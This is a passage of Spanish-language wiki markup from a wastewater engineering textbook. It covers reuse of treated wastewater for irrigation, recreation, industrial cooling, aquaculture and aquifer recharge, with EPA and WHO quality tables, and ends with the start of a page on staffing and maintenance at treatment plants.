!DISTANCIA DE SEGURIDAD
|-----------------

|Riegos de cultivos 

comestibles no procesados 

comercialmente
||Secundario

Filtración

Desinfección
||PH= 6-9

&lt;10 mg/l DBO

&lt;2 NTU

0 C.F./100 ml

1 mg/l CLO2
||15 m a fuentes o pozos de agua potable

30 m  a zonas permitidas al público
|-----------------

|Riego de cultivos que se consumen 

procesados
||Secundario

Desinfección
||PH = 6-9

&lt;30 mg/l DBO

&lt;30 mg/l SS

200 C.F./100 ml

1 mg/l CLO2
||90 m a fuentes o pozos de agua potable

30 m  a zonas permitidas al público
|-----------------

|Riego de pastos de animales productores 

de leche y cultivos industriales
||Secundario

Desinfección
||PH = 6-9

&lt;30 mg/l DBO

&lt;30 mg/l SS

200 C.F./100 ml

1 mg/l CLO2
||90 m a fuentes o pozos de agua potable

30 m  a zonas permitidas al público

|}

====4. SISTEMAS DE RIEGO===

====4.1. Riego por aspersión,====

Consiste básicamente en aplicar agua a la superficie del terreno rociándola en forma de lluvia, además de los problemas comunes con otros sistemas como puede ser obstrucciones de goteros, contaminación por hongos, etc., tiene el inconveniente de que pueden aparecer problemas especiales de toxicidad así como tener un mayor riesgo sanitario. Por ello el sistema de distribución del agua mediante aspersores exige un agua de superior calidad que los demás tipos de riego.

Pueden ser:

''' De tipo fijo:'''

* colocadas en la superficie o enterradas

*  	Las superficiales tienen la desventaja de verse afectadas por la climatología, el ganado o los equipos de laboreo. La principal ventaja es su bajo costo y fácil mantenimiento. El material que se está utilizando es el PVC.

* Las conducciones enterradas son de Uralita o PVC. Tienen mayor costo pero presentan mayor duración

'''De tipo móvil:'''

con instalaciones móviles se puede llevar a cabo mediante el uso de aspersores múltiples, rodantes y de pivote central

=====4.1.1.	Efectos especiales de toxicidad=====

Debido al modo de dispersar el agua el riego por aspersión se produce una absorción foliar de micronutrientes, acelerándose la velocidad de acumulación del ión tóxico en la planta, siendo a veces esto la fuente principal de toxicidad.

En general, hay que decir que pueden producirse daños por la concentración de sales acumuladas en la superficie externa de las hojas, debido a la pulverización de las sales. Para evitar esto existen varias soluciones, entre las que destacan:

*  riego nocturno, pues en general la humedad aumenta y disminuye el viento

*  aumentar la velocidad de rotación de los cabezales de los aspersores.

=====4.1.2.	Riesgo sanitario=====

Uno de los problemas principales que se presentan con el uso de las aguas residuales para riego es el de posibles infecciones, y propagación de microorganismos patógenos debido a los aerosoles que se forman. Por ello es necesario saber cómo y qué se va a regar. El riesgo mayor se tiene cuando se cultiva el riego por aspersión para regar cultivos de consumo directo ya que, valga la redundancia, existe un contacto directo entre frutos, follaje y hombre, existiendo pues un máximo riesgo sanitario. Por este motivo el Código de Agua de California distingue diferentes tratamientos según el nivel de reducción de coliformes que se quiera obtener, que a su vez dependerá del tipo de riego y la utilización que se le dé. Como se observa en la tabla 12 es el riego superficial de viñedos y árboles frutales el que presenta un nivel de tratamiento menor y el riego por aspersión el que presenta una legislación más estricta y rigurosa en cuanto a la reducción de coliformes totales.

====4.2 Riego Superficial====

=====4.2.1. Surcos o caballones: =====

El efluente se aplica por gravedad y fluye a través de los surcos. El terreno debe ser llano, y el tamaño de los surcos o caballones dependen del volumen de vertido, tipo de vegetal y tipo de suelo. Se debe de alternar periodos de inmersión de los surcos con periodos de secado para oxidar la materia orgánica y evitar la colmatación de los poros.

=====4.2.2. Inundación: =====

Como su propio nombre indica es por encharcamiento de parcelas. Para ello la tierra tiene que estar nivelada con el fin de mantener una profundidad uniforme. Así mismo se necesitan época de secado para oxidar la materia orgánica y evitar la colmatación de los poros

=====4.2.3. Escorrentías=====

Sobre pendientes con cubierta vegetal: Es una descarga controlada de un efluente en un terreno con una pendiente y longitud adecuada, el cual se encuentra tapizado por pastizales o masas forestales. Los terrenos ideales son los que tienen baja permeabilidad y coeficiente de retención adecuados para proteger los acuíferos.

====4.3.	Riego localizado====

Ahorra mucha agua y se evita la proliferación de malas hierbas ya que la zona regada es muy puntual. Esta técnica exige una filtración exhaustiva del agua residual para evitar una obturación de los goteros. Se aplica fundamentalmente en frutales y plantas hortícolas

=====4.3.1.	Efectos especiales de toxicidad=====

Cuando se riega con aguas salinas, se aportan menor cantidad de agua por lo que no se produce un lavado suficiente de sales, con lo que éstas se concentran en la zona radicular.

=====4.3.2.	Riesgo sanitario=====

Es el sistema de distribución considerado como perfecto para evitar contacto operario-agua, ya que es un sistema totalmente cerrado que, además, no genera aerosoles.

====4.4.	Obturación====

Como hemos visto las obturaciones se da tanto en el riego por aspersión como en el riego localizado, pero es en este último en el que existen más riesgos de obturaciones. Hay diferentes causas por la que se produce este tipo de problema en los goteros como son:

* Los sólidos en suspensión que lleva el agua residual. Según el nivel de tratamiento éstos se reducirán en mayor o menor grado. Reducirlos casi al 100% resulta económicamente costoso.

* La eutrofización: consiste en el desarrollo de algas u otros vegetales indeseables dentro del agua, producido principalmente por el enriquecimiento de ciertos nutrientes como el nitrógeno y el fósforo, y pueden taponar tuberías, válvulas, emisores, goteros etc.

Por ello la turbiedad del agua de riego ha de ser muy baja si se quiere evitar la obturación de goteros. Por este motivo el riego localizado es el más restrictivo en cuanto a uso con agua residual urbana.

==II. REUTILIZACIÓN CON FINES MUNICIPALES Y RECREATIVOS==

Esta reutilización va dirigida principalmente para los siguientes usos:

*  Riego de parques y jardines públicos

*  Creación de lagos artificiales para pesca y fines recreativos

===1. REUTILIZACIÓN PARA RIEGO DE PARQUES Y JARDINES PÚBLICOS===

En cuanto a la calidad que debe de tener esta agua va a ser la misma que hemos visto en el caso anterior (los parámetros físico-químicos), con la ventaja de que las plantas que se van a regar (césped, y plantas ornamentales), son más tolerantes, que los cultivos agrícolas. El sistema de riego utilizado es el de aspersión por lo que habrá que tener en cuenta lo visto anteriormente

En cuanto a los parámetros microbiológicos, las recomendaciones de la OMS para el “Riego de campos deportivos y de zonas verdes con acceso público&quot; son:

Tabla 11
{| border=1

!
!CONTACTO PÚBLICO DIRECTO
!CONTACTO PÚBLICO NO DIRECTO
|-----------------

|PARÁMETROS MICROBIOLÓGICOS
||
||
|-----------------

|Nematodos intestinales (media aritmética huevos/l)
||&lt;1
||&lt;1
|-----------------

|Coliformes fecales(media geométrica/100ml)
||200
||1000
|-----------------

|Tratamiento recomendado
||Estanques de estabilización o equivalente
||Estanques de estabilización o equivalente
|-----------------

|Grupo expuesto
||Trabajador, público
||Trabajador, público

|}
* 4 a 6 estanques de estabilización con tiempo mínimo de retención de 20 días a Tª&gt;

200C

Las recomendaciones de la E.P.A:

Tabla 12
{| border=1

!TIPO DE REUTILIZACIÓN
!TRATAMIENTO
!CALIDAD
!DISTANCIA DE SEGURIDAD
|-----------------

|Riegos de parques campos de golf 

cementerios, lavados de coches
||Secundario

Filtración

Desinfección
||PH= 6-9

&lt;10 mg/l DBO

&lt;2 NTU

0 C.F./100 ml

1 mg/l CLO2
||15 m a fuentes o pozos de agua potable


|-----------------

|Riego de árboles y parques con acceso 

público prohibido o infrecuente
||Secundario

Desinfección
||PH= 6-9

&lt;30 mg/l DBO

30 mg/l SS

0 C.F./100 ml

1 mg/l CLO2
||90 m a fuentes o pozos de agua potable

30 m  a zonas permitidas al público

|}
====2.  REUTILIZACIÓN CON FINES RECREATIVOS===

====2.1 Embalsamiento artificial====

Los principales problemas de los embalses de agua residual depurada son:

* El alto contenido en sales disueltas y sólidos en suspensión que llevan estas aguas.

* El efluente que suele llegar a estos embalse tiene bajos niveles de oxígeno

* En el fondo se suelen dar condiciones anaerobias

* Pueden darse problemas de eutrofización.

Esto es lo que le están ocurriendo a la mayoría de los embalses de nuestro país que sufren el aporte de colectividades o pueblos asentados cerca de sus márgenes.

Por ello si se quieren dedicar estos embalses para pesca u usos recreativos (vela, esquí acuático, baños) los criterios de calidad han de ser muy elevados. No obstante hay que dorar los efluentes y esto puede presentar problemas pues el cloro se combina con la materia orgánica dando cloraminas, clorometanos y más tóxicos.

La repoblación con peces conlleva a su vez problemas por la acumulación de determinados elementos tóxicos, presentes en el agua residual en las cadenas alimentarias.

Debido a los riesgos antes mencionados la OMS no lo contempla.

La EPA dispone:

Tabla 13


{| border=1

!TIPO DE REUTILIZACIÓN
!TRATAMIENTO
!CALIDAD
!DISTANCIA DE SEGURIDAD
|-----------------

|Uso de recreo si el contacto con el A.R. depurada es accidental
||Secundario

Filtración

Desinfección
||PH= 6-9

&lt;10 mg/l DBO

&lt;2 NTU

0 C.F./100 ml

1 mg/l CLO2
||150 m a fuentes o pozos de agua potable


|-----------------

|Uso estético si el contacto con el público no está permitido
||Secundario

Desinfección
||&lt;30 mg/l DBO

&lt;30 mg/l SS

200 C.F./100 ml

1 mg/l CLO2
||150 m a fuentes o pozos de agua potable
|-----------------

|Usos en construcción
||Secundario

Desinfección
||&lt;30 mg/l DBO

&lt;30 mg/l SS

200 C.F./100 ml

1 mg/l CLO2
||

|}


===3.  POTABILIZACIÓN===

La mayoría de los países descartan el consumo humano de agua residual depurada. Aún estando regulado y permitido este uso en ciertos países, no se tienen noticias de haberse llegado a aplicar. En España la Legislación de aguas prohíbe este uso, salvo en casos de excepción o catástrofe, y siempre previa autorización de la Administración sanitaria y del Organismo de cuenca correspondiente

===4. SUMINISTRO URBANO NO POTABLE EN RED, BALDEO Y LIMPIEZA DE CALLES===

El suministro urbano en red de agua no potable (con excepción de las redes locales para riego de zonas verdes), así como el baldeo y limpieza de calles es un uso muy excepcional, admisible solamente con las garantías necesarias.

La E.P.A no contempla el riego y limpieza de calles con aguas residuales depuradas. Sólo el estado de Hawai lo tiene:

Coliformes fecales &lt; 2.2 /100 ml

Virus &lt; 1 PFU/ 40L

===5. CALEFACCIÓN Y REFRIGERACIÓN URBANAS===

*Calefacción urbana: No está regulado por las normativas conocidas, si bien se sabe de su aplicación en Japón

*Refrigeración urbana: EEUU la considera con parámetros equivalentes a los del agua potable. En España está prohibida

===6.	LAVADO DE INSTALACIONES===

Uso no recogido en las normativas conocidas.

EEUU si considera para lavado de coches y cuartos de aseo, donde el peligro es potencialmente mayor:

pH =6-9 

&lt;2UNT

&lt;10 mg/l DBO

CF O mg/l

CL2 &gt;1 mg/l


===7. EXPERIENCIA EN CALIFORNIA===

En EEUU está tan instaurada la política de reutilización de aguas residuales para los distintos usos municipales, que en una localidad de California han creado para estos fines una infraestructura que es una red de distribución doble, una para el agua potable y otra para el agua que va a ser reutilizada.

'''Ventajas e inconvenientes:'''

* Evita problemas de impacto medioambientales, ya que el agua depurada no se vierte al medio (terreno, ríos, mares)

* En ocasiones en que haya exceso de agua residual depurada, ésta puede ser acumulada en embalses o lagos para su uso en incendios forestales

* Como puede existir posibilidad de poder contaminar el agua potable, el agua reutilizada debe de tener requerimientos sanitarios que se han de cumplir estrictamente.

Lo principal es evitar las conexiones erróneas entre las diferentes redes de distribución, para ello:

1. La presión de la red de distribución de la red de agua potable sea superior a la red del agua residual

2. Existencia de planos perfectamente detallados del trazado de ambas redes y todas sus modificaciones

3. Registro de todas aquellas averías, con el fin de subsanar en futuro posibles errores en la concepción de nuevas infraestructuras

4. Cada red se señale con unos materiales diferentes

5. El agua residual vaya por debajo de cierta altura del agua potable.

==III. REUTILIZACIÓN DEL AGUA RESIDUAL PARA TRANSPORTE Y LAVADO==

Para esta actividad se pueden mezclar agua residual urbana e industrial en mayor o menor proporción

No es necesaria una calidad muy apreciable para estos fines pero al menos debe darse un tratamiento secundario, en el caso de aguas residuales urbanas.

Se suele usar para:

* Lavado y transporte de materias primas: Carbón, azucareras,

* Transporte de residuos: cenizas en centrales térmicas

* Lavado de productos acabados o semiacabados: pastas en papeleras, productos de laminado, pieles en curtidurías,

* Lavado de gas antes de su vertido a la atmósfera: siderurgia, altos hornos, fundiciones,...

En los casos de industrias agroalimentarias y textil en agua residual debe ser bacteriológicamente correcta y clara. Las industrias de semiconductores necesitan un agua muy pura.

Ejemplos:	Fundición de cobre, Zinc en Bristol Reino Unido.

==IV. REFRIGERACIÓN INDUSTRIAL==

===1.	Definición===

Se define como el uso de aguas en plantas de producción de energía y algunas industrias, para extraer calor mediante su circulación por circuitos, basados en un sólo paso de agua (circuitos abiertos) o en una recirculación de agua de refrigeración (circuito semicerrados) con el objetivo de garantizar la eficiencia de los procesos, la seguridad operativa de las instalaciones de [https://tefrile.es/ refrigeracion industrial] y el control de las temperaturas de funcionamiento.

Tipos de circuitos de refrigeración:

a. Abiertos: Requiere grandes volúmenes de agua. Existe contacto entre el agua y el cuerpo a refrigerar. No hay recirculación. A veces originan problemas ecológicos graves, si se evacuan a ríos o lagos pues originan contaminación térmica. No obstante este calor puede ser provechoso, por ejemplo en acuicultura.

b.	 Semicerrados: Tienen recirculación, purga y alimentación para evitar excesiva concentración de contaminantes por evaporación. Hay contacto con el aire

c.	 Cerrado: Hay recirculación, pero no existe contacto con el aire. Son más costosos, pero se eliminan las pérdidas de las purgas.

===2.	Usos===

Producción de electricidad, siderurgia, petroquímica, química, automovilísticas, cementeras, incineración de residuos. En las zonas costeras esta técnica de reutilización no tiene apenas incidencia, ya que, salvo en contadas excepciones, se dispone para estos fines de un efluente inagotable del mar. Está prohibido en industrias alimentarias y auxiliares.

===3.	Principales problemas===

====3.1. Corrosión e incrustaciones:====

Para evitarlo:

* Inhibición del poder incrustante: Determinar la dureza total en todas las condiciones térmicas del agua de refrigeración, añadiendo a continuación los productos químicos retardadores de la precipitación de la cal

* Inhibición de la corrosión: El pH deberá ser entre 6.5-7 de tal forma que no sea muy ácido y se produzca corrosión o muy alcalino para que no precipiten los hidróxidos insolubles

====3.2.	Fangos y desarrollos biológicos:====

*	 Las materias en suspensión originan películas de barro en los circuitos que junto al aporte de nutrientes de estas aguas pueden originar desarrollo de organismos que disminuyan la luz de la tubería, para evitarlo habrá que purgar con productos químicos para la limpieza de estos elementos biológicos

* 	Riesgos sanitarios: Evacuación de gases tóxicos que se producen por determinadas bacterias en condiciones anóxicas.

===4.	Parámetros de calidad:===

Tabla 14
{| border=1

!PARÁMETROS
!UNIDADES
!CIRCUITO ABIERTO
!CIRCUITO SEMICERRADO
|-----------------

|Sólidos en suspensión
||mg/l
||5000
||100
|-----------------

|Conductividad
||ms/cm&lt;sup&gt;2&lt;/sup&gt;
||1500
||750
|-----------------

|Alcalinidad
||mg/l CaCO&lt;sub&gt;3&lt;/sub&gt;
||500
||350
|-----------------

|Dureza total
||mg/l CaCO&lt;sub&gt;3&lt;/sub&gt;
||850
||650
|-----------------

|pH
||
||5-8.3
||5-8.3
|-----------------

|DQO
||mg/l O&lt;sub&gt;2&lt;/sub&gt;
||75
||75
|-----------------

|Sílice
||mg/l SiO&lt;sub&gt;2&lt;/sub&gt;
||50
||50
|-----------------

|Cloruros
||mg/l Cl&lt;sup&gt;-&lt;/sup&gt;
||600
||500
|-----------------

|Amonio
||mg/l NH&lt;sub&gt;4&lt;/sub&gt;&lt;sup&gt;+&lt;/sup&gt;
||
||4
|-----------------

|Fosfatos
||mg/l PO&lt;sub&gt;4&lt;/sub&gt;&lt;sup&gt;3+&lt;/sup&gt;
||4
||1
|-----------------

|Detergentes
||mg/l MBAS
||
||1
|-----------------

|Coliformes fecales
||CF/100 ml
||10 000
||2

|}

===V. APROVECHAMIENTO TÉRMICO==

Las aguas naturales utilizadas en procesos industriales de refrigeración presentan un balance positivo de energía térmica. Su liberación al medio acuático supone una transformación no natural de éste, con lo que la vida en ese medio puede verse alterada.

Entre las principales industrias cuyo efluente es aprovechable térmicamente se encuentran las centrales térmicas, refinerías y destilerías, pero el ejemplo más representativo son las refinerías de crudo (petróleo) de las zonas litorales. Estos efluentes se van a aprovechar para el cultivo de especies vegetales (ornamentales, agrícolas) y especies animales (piscícolas).

:1. Características

Constituyen el volumen más importante de agua en las refinerías sin recirculación (80 al 90&amp;nbsp;% del total de los efluentes).

Los efluentes están generalmente poco contaminados, a no ser que haya fugas en los circuitos, en cuyo caso pueden contaminarse con algunas fracciones de petróleo.

A veces pueden llevar compuestos como cromato de sodio, dicloro (vulgarmente cloro), fungicidas que inhiban el crecimiento de hongos o productos químicos que inhiban la corrosión de las tuberías.

Para que el aprovechamiento térmico sea rentable no cabe pensar en conducciones largas de agua caliente, debido a la pérdida de calor.

===2. Aplicación===

El cultivo de estas especies puede darse:

====2.1.	Bajo cubierta (tipo invernadero):====

Es caro y complejo. Las especies cultivadas son más productivas, y no están restringidas a las de la zona. Existe un mayor control de la temperatura para que sea uniforme a lo largo de todo el año, por lo que será necesario un aporte subsidiario de energía. El calentamiento del invernadero se realiza mediante un sistema de tuberías y radiadores de convección, los cuales caldean el aire circundante. Las especies que se cultivan frecuentemente son:

Especies agrícolas: flores (rosa, clavel, nardo), frutas tropicales (piñas, kiwi...), plantas hortícolas (tomate, pimiento...).

* Especies piscícolas: el estanque donde se crían o engordan debe tener un sistema de recirculación y depuración del agua para conservar los niveles óptimos de OD y DBO. La temperatura es de 20 a 25&amp;nbsp;ºC todo el año; esto unido a fotoperiodos más largos que los naturales hace que disminuya el tiempo necesario para el engorde entre un 30 y un 40&amp;nbsp;%

====2.2. A cielo raso:====

La inversión es menor, las especies cultivadas son las de la zona, pero aumentando su ciclo reproductivo y vegetativo. No es necesario un aporte subsidiario de energía térmica, ya que las especies son menos exigentes, siendo generalmente las existentes en la zona.

* 	Especies agrícolas: se efectúa enterrando las conducciones de agua caliente en la zona próxima al sistema radicular superficial de la planta (fresa, espárragos), especies hortícolas de alta rentabilidad

*	 Especies piscícolas: se realiza utilizando directamente el efluente térmico, el cual llega a una o varias balsas.

En zonas litorales cabe aplicar un aprovechamiento intensivo de los efluentes térmicos, utilizando para refrigeración aguas profundas, frías y ricas en nutrientes. Esto se está estudiando actualmente en la Universidad de Hawai por tres motivos:

1.	Reducción del agua necesaria para enfriar la instalación.

2.	Eliminación o reducción de la contaminación térmica.

3.	Aprovechamiento de la mayor riqueza de nutrientes de estas aguas.
	
Se ha visto que la producción primaria es sensiblemente superior a la de las aguas superficiales. Se experimentó con clorofíceas, cianofíceas y poblaciones mixtas de fitoplacton.

En Palma de Mallorca, el agua de refrigeración de la central térmica se extrae de las aguas superficiales regresando con un aumento de temperatura de 80&amp;nbsp;ºC. Este efluente se recoge en estanques para producción de especies marinas (lubina, dorada, angulas...).

==VI. PRODUCCIÓN DE BIOMASA==

Esta agua aporta nutrientes para el desarrollo y crecimiento de seres vivos. Los casos más frecuentes son el riego de especies agrícolas o forestales.

===1. Producción de microalgas===

Es una vía de investigación prometedora ya que las algas microscópicas presentan algunas propiedades interesantes frente a cultivos condicionales:

::*Mayor productividad.

::*Se desarrollan en una gran diversidad de medios acuáticas.

::*Soportan condiciones climáticas muy adversas.

Se pueden aplicar en la depuración del agua. Su crecimiento genera un agua de alta calidad que puede utilizarse alternativamente para la alimentación animal o humana (japoneses 70&amp;nbsp;% de proteínas).

===2. Plantas superiores===

Jacinto de agua, carrizo, que no tienen alto valor comercial, pero son coadyuvantes en la depuración.

===3. Biomasa animal===

Su aplicación es más comercial, aunque su uso está restringido: la piscicultura de especies con requerimientos mínimos como carpa, lucio..., la vermicultura (cría de lombrices).EI medio idóneo es el lagunaje.

En Francia se cría fitoplancton y zooplancton como alimento en acuicultura, tanto a nivel industrial (piscifactorías) como recreativo (acuarios).

Normalmente se mezcla agua residual depurada por lagunaje, enriquecida con fito y zooplancton y agua natural para la cría de carpa, lucio...; también se puede realizar una piscicultura de manera directa en lagunas utilizando el lucio. En cualquier caso se requiere un control sanitario de la pesca, ya sea para consumo humano o para la elaboración de harinas o piensos de consumo animal.

La OMS regula el uso del agua residual depurada en acuicultura, sin diferenciar si se destina o no al consumo humano:

::Huevos viables de trematodos 0/l

::Coliformes fecales &lt; 1000/100 ml

La EPA no lo recoge.

==VII. RECARGA DE ACUÍFEROS==

La recarga artificial de acuíferos apenas se ha iniciado en España, hasta el momento sólo se han realizado varias experiencias piloto, con los que se están obteniendo datos para el diseño de futuros proyectos.

===1. Definición de acuífero===

Formaciones geológicas del subsuelo, que contienen o han contenido agua y por las que el agua puede fluir.

===2. Definición de uso===

Se entiende por recarga de acuíferos, el uso de aguas para incremento de las aguas subterráneas como conservación y salvaguardar del dominio público hidráulico, restituyendo el nivel de acuíferos sobre explotados, creando una barrera contra la intrusión marina en acuíferos costeros, y/o disponiendo de un almacenamiento de aguas para usos posteriores.

===3. Métodos de recarga de acuíferos===

====3.1. Infiltración- Percolación====

Con este método se obtiene, además de los objetivos antes mencionados, una mayor depuración del agua (que previamente ha sido tratada), ya que por un lado en la capa superficial del terreno se produce una intensa actividad bacteriana, similar a la de un tratamiento biológico y, además a medida que se va infiltrando hasta llegar al acuífero este agua sigue depurándose como si hubiera pasado a través de un filtro.

=====A.) Características de los suelos=====

* Deben ser bastante permeables: suelos arenosos, franco-arenosos, ricos en gravas y con una capacidad de infiltración que oscile entre 10 y 60 cm al día.

* La textura no debe ser muy gruesa para facilitar las reacciones químicas y biológicas entre suelo y efluente

* Necesita periodos de reposo de al menos 22 días, permitiendo reoxigenación del suelo

* En el caso de heladas o lluvias hay que disminuir el agua residual a infiltrar

* Realizar análisis periódicos de las aguas infiltradas tanto en el nivel freático como en el acuífero: DBO, SS, SDis, N2, P2, coliformes totales, coliformes fecales, y con menos frecuencia un control de metales pesados

=====B.) Los niveles de depuración que se pueden alcanzar:=====

S.S. = casi total

Colif. Fecales = 85-98%

DBO = 85-98%

Detergentes = 90%

Nitrógeno = 30 al 80%

=====C.) Dispositivos de infiltración=====

'''1.- Estanques de infiltración´-----

El estanque recibe A.R. que bajo el efecto de la carga hidráulica va penetrando en el suelo.

La distancia mínima entre el suelo y la capa freática es de 3-5m

Los laterales del estanque deben ser impermeables, con hormigón o sedimentos muy finos para impedir la infiltración horizontal

El agua llega al estanque por gravedad o bombeo, que actúan como aireadores favoreciendo las condiciones aerobias del estanque, y una depuración importante en el propio estanque

El fondo del estanque puede ser:

# Fondo desnudo: no precisa obra, pero se colmata con facilidad

# Fondo con vegetación:

#* permeabilidad suplementaria debido a las raíces

#* protección del fondo en épocas de lluvias

#* extracción de elementos minerales

#* nivel bajo del efluente en primavera y en verano

#* desecamiento periódico para proceder a la siega de la vegetación

# Fondo de arena

#* Espesor de 50 cm, Diámetro de 0.2 a 0.3, actúa como un filtro

#* Se colmata, por lo que debe hacerse un lavado periódico de dicha arena y cuando sea necesario el cambio de la arena

'''2.-Fosas canales y zanjas'''

Parecido a los estanques pero:

* utilizan en general infiltración horizontal

* fosas: dimensiones más reducidas que los estanques

*	 canales: tienen una profundidad muy superior al resto de sus dimensiones. Son muy adecuados

'''3. Lechos de ríos acondicionados:'''

Aumenta la infiltración natural de los ríos mediante obras de acondicionamiento

'''4. Derrame subterráneo mediante red de tubos:'''

Actúa igual que un estanque:

Ventaja: la superficie del suelo queda libre

Inconveniente: 	Es más difícil de controlar al estar enterrado

El problema común que van a tener es la colmatación:

* Desorganización de la porosidad del suelo

* Destrucción de los agregados del suelo

* Hinchamiento de las arcillas

* Disminución de los poros del suelo: 

*# por los SS

*# por la precipitación de sales

*# por metabolitos bacterianos

* Desarrollo de algas

Para evitarlo:

* periodos de infiltración alternados con los de descanso o secado: airear el suelo eliminar depósitos de SS

* periodo de secado debe ser el doble al de infiltración

* construir varios estanques, para que la infiltración no se detenga cuando se esté limpiando uno de ellos.

====3.2.	Inyección====

Permite un mejoramiento en la calidad del agua

Desde el punto de vista microbiológico se necesita una adecuada distancia entre el punto de inyección y el de recuperación

La acción depurativa del suelo es mínima

* Los dispositivos son los pozos de inyección, que actúan de manera inversa a los pozos de bombeo.

* Se utilizan cuando existe una capa impermeable entre la superficie del suelo y la capa que queremos realimentar.

=====3.2.1	Problemas habituales:=====

El principal problema que nos vamos a encontrar es, al igual que en el caso anterior, peligro de colmatación:

'''Física:''' 	Por los sólidos en suspensión o la presencia de aire o gas en el agua de inyección haciéndose impermeable

'''Química:''' 	Dispersión e hinchamiento de las arcillas precipitación de sales alcalinas y alcalino-térreas

'''Biológica:''' Proliferación bacteriana, producen productos de desecho que colmatan los poro

Para evitarlo:

* Tratamiento que elimine los sólidos en suspensión

* Desmineralización

* Cloración

* Eliminación de gases disueltos y aire (es complicado), se consigue por:

**  Desaireación del agua

**  Consiguiendo que los elementos del pozo estén a presión mayor que la atmosférica, para evitar succión del agua inyectada.

Cuando se colmate: limpieza por bombeo que va incorporado al propio sistema de inyección.

Tabla 16: Niveles de tratamientos y criterios recomendados para las A.R. utilizadas para la recarga de acuíferos.

Mediante aplicación superficial:

1.	Verificar la inexistencia de descargas de efluentes industriales tóxicos
2.	
3.	Oxidación biológica normal (tratamiento secundario)
4.	
5.	Absorción sobre carbón activo (tiempo de contacto 30 min.; DQO &lt; 5 mg/l)
6.	
7.	Aplicación mediante infiltración- precolación del efluente en zona aerobia no saturada respetando los siguientes términos:
8.	
Profundidad mínima de la capa de 3m y una semana de aplicación alternada con dos de secado

9.	Dilución con una cantidad igual de agua subterránea natural
10.	
11.	El agua de recarga debe quedar en la capa un año antes de ser extraída
12.	
13.	La calidad del agua subterránea debe de ser regularmente supervisada
14.	
Mediante inyección directa:

1.	Verificar la inexistencia de descargas de efluentes industriales tóxicos
2.	
3.	Oxidación biológica normal (tratamiento secundario)
4.	
5.	Desinfección correcta (cloración)
6.	
7.	Coagulación- floculación química
8.	
9.	Decantación 
10.	
11.	Filtración rápida en arena
12.	
13.	Absorción sobre carbón activo
14.	
15.	Desmineralización por osmosis inversa
16.	
17.	Aireación por aspersión para eliminar compuestos orgánicos volátiles
18.	
19.	Dilución con una cantidad igual de agua subterránea natural
20.	
21.	El agua de recarga debe quedar en la capa un año antes de ser extraída
22.	
23.	La calidad del agua subterránea debe de ser regularmente supervisada
24.	
Tabla 17 Propuesta de calidad para la recarga de acuíferos por extensión superficial o por inyección directa.


{| border=1 


!PARÁMETROS
!UNIDADES
!EXTENSIÓN SUPERFICIAL
!INYECCIÓN DIRECTA
|-----------------

|Sólidos suspensión
||mg/l
||10
||
|-----------------

|pH
||
||5-9.5
||6.5-9.5
|-----------------

|DBO
||mg/l O2
||10
||
|-----------------

|Amonio
||mg/l N
||5
||0.4
|-----------------

|Nitritos
||mg/l N
||
||0.03
|-----------------

|Nitratos
||mg/l N
||10
||10
|-----------------

|Cloruros
||mg/l Cl
||200
||200
|-----------------

|Boro
||mg/l B
||0.5
||
|-----------------

|Detergentes
||mg/l MBAS
||0.5
||0.2
|-----------------

|Coliformes fecales
||CF/100 ml
||23
||0

|}


BIBLIOGRAFíA

*“ La reutilización de las aguas residuales: acondicionamiento y uso”. CEDEX, editado por el MOPU

*“ Criterios para la evaluación sanitaria de proyectos de reutilización directa de aguas residuales urbanas depuradas”. Consejería de Salud

*“Riego con agua residual municipal regenerada”. Ed. Universidad Politécnica de Cataluña (1990)


{{navegar
 |libro=Ingeniería de aguas residuales
 |reducido=Si
 |anterior=Desinfección de las aguas residuales
 |actual=Reutilización de las aguas residuales
 |siguiente=Cálculos hidráulicos
}}

{{AutoCat}}</text>
      <sha1>kbrz37mu7kgc4pgow5kv7l4ru8l0ljn</sha1>
    </revision>
  </page>
  <page>
    <title>Ingeniería de aguas residuales/Gestión de depuradoras</title>
    <ns>0</ns>
    <id>12680</id>
    <revision>
      <id>429980</id>
      <parentid>280120</parentid>
      <timestamp>2026-08-02T09:34:40Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429980</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="3641" sha1="oyn8ee6nkc0c27caal6c02u4xfz6vz5" xml:space="preserve">==1.  GESTIÓN DE EDAR==
*	Tareas multidisciplinares
*	Gestión de Explotación.
*	Gestión de Recursos Humanos.
*	Gestión de Mantenimiento.
*	Gestión de Compras.
==2. GESTIÓN DE RECURSOS HUMANOS==
*	Necesidades del proceso
**	Cobertura de los distintos turnos de trabajo (24 h/día)
***	Mañana
***	Tarde
***	Noche
**	Cobertura diaria, incluidos sábados, domingos y festivos (365 días/año)
*	Limitaciones Legales.
**	Sujetos a convenios(1674h/año).
**	
**	30 días de vacaciones al año.
**	
*	Limitaciones Técnicas.
*	Para cubrir un turno de 24 h durante una semana, hacen falta como mínimo 5 personas.
*	Necesidades diarias
**	Nº de Oficiales 
***		Mañana	1Of. 
***		Tarde	1 Of. 
***		Noche	1 Of. 
**	Nº de horas Of. 
***	
***	
Teniendo en cuenta las limitaciones anteriormente expuestas ( Recursos 1674 h/año), el Nº de operadores de proceso será.

Of. Requeridos =7,38 » 8 Of.


===Elaboración de cuadrantes de turnos de trabajo. ===
Tres turnos de trabajo de 8 horas. (La dotación mínima es de 5 operarios/día).

Ejemplo de cuadrante de trabajo semanal

{| border=1 
!L !!M !!X !!J !!V !!S!!D
|-----------------
|M || M || M || M || M || D || D 
|-----------------
|D || D || M || M || M || M || M 
|-----------------
|M || M || M || D || D || T || T 
|-----------------
| T || T || T || T || T || D || D 
|-----------------
| D || D || N || N || N|| N || N 
|-----------------
| N || N || D || D || M || M || M 
|}


*	Relaciones con el personal de planta.
**	El Jefe de explotación va a ser el nexo de unión entre el personal de planta y el resto de departamentos de la empresa.
**	Parte de las tareas administrativas referentes a personal recaen sobre el Jefe de explotación.
*	Informe de accidente.
**	Entrevista con el accidentado.
**	Fecha y localización del accidente.
**	Causas que motivaron el accidente.
**	Prendas se seguridad que vestía el accidentado en el momento
**	del accidente.
*	Cumplimentación del informe de accidente
**	Datos provenientes de la entrevista.
**	Medidas de seguridad existentes en el lugar del accidente....
PARTE DEL TRABAJO

[[Imagen:Gestion_edar_parte_trabajo.jpg]]


==3. GESTIÓN DEL MANTENIMIENTO==
*	Detección de la avería.
**	Mediante examen de los partes de proceso.
**	Mediante la observación de los distintos sistemas.
*	Comunicación de la avería.
**	Jefe de explotación.
**	Personal del centro.

